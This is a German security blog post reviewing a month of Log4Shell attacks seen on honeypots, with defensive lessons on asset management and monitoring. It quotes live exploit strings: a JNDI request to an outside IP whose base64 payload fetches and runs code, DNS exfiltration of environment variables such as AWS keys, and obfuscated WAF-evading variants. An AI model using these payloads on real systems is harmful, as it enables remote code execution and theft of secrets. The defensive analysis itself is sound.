Overlay Img

Apache Log4j

Ein Monat Log4j – was haben wir gelernt?

Es ist ca. ein Monat vergangen, seitdem die gravierende Lücke in der Logging-Bibliothek „Log4j“ bekannt wurde. Die Lücke (CVE-2021-44228) ermöglicht das Ausführen von fremden Codes „Remote Code Execution“ und wurde Log4Shell getauft. Die Java-Bibliothek Log4j ist weit verbreitet und wird für das Logging verwendet. Die meisten 2.x. Versionen sind von der Sicherheitslücke betroffen und sind auf apache.org aufgelistet. Weitere CVEs, die Log4j betreffen sind ebenfalls auf apache.org zu finden. Da die Bibliothek in zahlreichen Produkten, auch in vielen gängigen Open Source Produkten, zum Einsatz kommt, sind sehr viele Systeme von dieser Schwachstelle betroffen. https://logging.apache.org/log4j/2.x/security.html

Die ersten Stunden

Als IT-Security Experten, haben wir umgehend nachdem die Sicherheitslücke bekannt wurde sowohl unsere eigenen Systeme als auch die unserer Kunden geschützt und auf durchgeführte Angriffe untersucht. Innerhalb der kurzen Zeit konnten wir bereits zahlreiche Angriffe registrieren und haben diese kontinuierlich analysiert. Hierbei ist die Analyse essenziell, denn wir möchten mit dessen Hilfe verstehen, wie Kriminelle diese Lücken ausnutzen und wie wir uns besser vor künftigen Angriffen schützen können.

Für die Analyse der Log4j-Angriffe haben wir die Daten des vergangenen Monats aus eigenen Honeypots und Servern ausgewertet. Die Log-Daten haben wir in unserer SIEM (Security Information and Event Management)-Lösung ausgewertet.

Apache Log4j - Angriffe und Detektions

Bei einer Sicherheitslücke dieser Tragweite sind die ersten Stunden entscheidend. Wir konnten bereits ab dem 10.12.2021 um 13:00 Uhr die ersten Log4j-Angriffe auf unsere Honeypots und Server registrieren. Da die Angreifer mit Hilfe von automatisierten Tools verwundbare Systeme ermittelt und gezielt angegriffen haben, hat man als Verteidiger wenig Zeit, um die notwendigen Maßnahmen einzuleiten. Es ist von Vorteil, wenn man auf ein gutes Asset-Management-System setzen kann und nicht erst lange recherchieren muss, welche Systeme betroffen sein könnten. Diese Systeme müssen möglichst schnell identifiziert und der Zugang auf diese Systeme beschränkt werden. Die Beschränkung ist notwendig, damit die Systeme nicht gehackt werden können. Anschließend können die Systeme gepatched werden. Auch nach dem Patchen sollten die Systeme nochmal von Pentestern überprüft werden. Diese sollten sich vergewissern, ob die Sicherheitslücke tatsächlich geschlossen wurde. Wenn dieser Prozess zu lange dauert, sind die Systeme als kompromittiert zu betrachten und der Incident Response Prozess einzuleiten. Das betrifft nicht nur die Systeme, die eine Log4j-Schwachstelle aufweisen, sondern auch die Systeme, die mit diesen Systemen kommunizieren.

 

 

Wie kann diese Sicherheitslücke ausgenutzt werden?

Die Schwachstelle kann relativ leicht ausgenutzt werden. Dazu reicht ein einfacher Request aus. Die ausführenden Befehle werden einfach base64 encodiert übergeben.  

GET / x=${jndi:ldap://195.54.160.149:12344/ 
Basic/Command/Base64/KGN1cmwgLXMg 
MTk1LjU0LjE2MC4xNDk6NTg3NC8xMzguM 
jAxLjExMi4xNTI6NDQzfHx3Z2V0IC1xIC1PL
SAxOTUuNTQuMTYwLjE0OTo1ODc0LzEz 
OC4yMDEuMTEyLjE1Mjo0NDMpfGJhc2g=} HTTP/1.1

Über die Schwachstelle können auch Umgebungsvariablen wie AWS_SECRET_ACCESS_KEY oder JAVA_VERSION  mit einem Request ausgelesen und per DNS-Protokoll exfiltriert werden.

${jndi:ldap://${env:JAVA_VERSION}.oob.domain.tld}
8u102.oob.domain.tld

Der klassische String für den Angriff sieht wie folgt aus: ${jndi:ldap://attacker-domain.tld/a}. Auf dieser Grundlage wurden die ersten Web Application Firewall (WAF) Signaturen geschrieben. Ab dem 12.12.2021 konnten wir auch die obfuscated Varianten in den Log-Daten sehen. In Twitter wurden die Varianten schon vorher geteilt.

Log4j Obfuscated

Weitere obfuscated Varianten kamen relativ schnell dazu. Um ein paar Beispiele zu nennen:

${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//x.x.x.x:8081/w}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://x.x.x.x:1389/t}
${${lower:j}${lower:n}${lower:d}i:l${lower:d}${lower:a}p://x.x.x.x:1389/t}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://x.x.x.x:1389/a}

Für die Ausnutzung der Sicherheitslücke wurden unter anderem die folgenden Protokolle eingesetzt:

  • dns
  • ldap
  • ldaps
  • rmi

Viele Unternehmen verwenden Schwachstellen Scanner, um zu prüfen, ob ihre Anwendungen von der Sicherheitslücke betroffen sind. Das ist bedingt hilfreich, da die Scanner in der Regel die gängigen Fälle prüfen, jedoch nicht die gesamte Anwendung testen können. Außerdem schließen Angreifer die Sicherheitslücke selbst, nachdem diese vorher Zugang zum System erlangt haben.

Die meisten Angriffe, die wir beobachtet haben, richteten sich gegen Webanwendungen. Der String befand sich sehr oft im HTTP-Header, aber auch in Query String oder Cookies. Der String kann theoretisch überall vorkommen, Hauptsache der String wird an Log4j übergeben. Das macht die Lücke besonders kritisch. Wir konnten auch Angriffe gegen Apache Solr und auch Elasticsearch feststellen. Zusätzlich zu den Angriffen auf die Webanwendungen konnten wir auch Angriffe auf SSH- und SMTP-Protokolle beobachten. 

EHLO ${${::-j}ndi:dns://45.83.64.1/securityscan-zzz}
Dec 14 04:52:12 hostname sshd[18610]: Invalid user ${jndi from x.x.x.x port x
Dec 14 04:52:14 hostname sshd[18610]: Failed password for invalid user ${jndi from x.x.x.x port x ssh2
Dec 14 04:52:15 hostname sshd[18610]: Connection reset by invalid user ${jndi x.x.x.x port x [preauth]

 

Log4j Attack Detection

Log4j Erkenntnisse

Lessons Learned

Anhand von Log4j kann sich jede Einrichtung selbst benchmarken. Wie schnell wurden wir auf die Sicherheitslücke aufmerksam? Wie schnell konnten die betroffenen Systeme ermittelt und Gegenmaßnahmen eingeleitet werden? Wie können wir prüfen, ob wir bereits kompromittiert sind? Bei Angriffen dieser Art ist Geschwindigkeit der wichtigste Faktor. Um zahlreiche automatisierte Angriffe abzuwehren, reichen manuelle Abwehrmaßnahmen nicht mehr aus. System für System händisch zu überprüfen, ob die Verwundbarkeit gegeben ist, erfordert i.d.R. mehr Zeit, als Angreifer einem lassen. Allein auf die Prävention kann man sich nicht verlassen, da diese ausgehebelt werden kann. Insbesondere bei Zero-Day-Exploits sind die meisten Präventionsmaßnahmen nutzlos. Daher ist es für viele Firmen von enormer Relevanz, über eine hohe Kompetenz in den Bereichen Asset Management, Protection und Security Monitoring zu verfügen. Die Log4j Sicherheitslücke hat uns aufgezeigt, wie verwundbar fast alle Firmen sind. Es ist leider zu befürchten, dass dies mit Sicherheit nicht die letzte Sicherheitslücke seiner Art war.

Durchschnitt: 5 (2 Bewertungen)
Ali Recai Yekta

Ali Recai Yekta ist CTO & Head of Cybersecurity bei Yekta IT. Seine Schwerpunkte sind u.a. Pentesting sowie Cyber Defense für die Branchen Automotive & Rail. Er hat ein Master in IT-Sicherheit und ist OSCP, OSEP, OSWE, CRTO zertifiziert.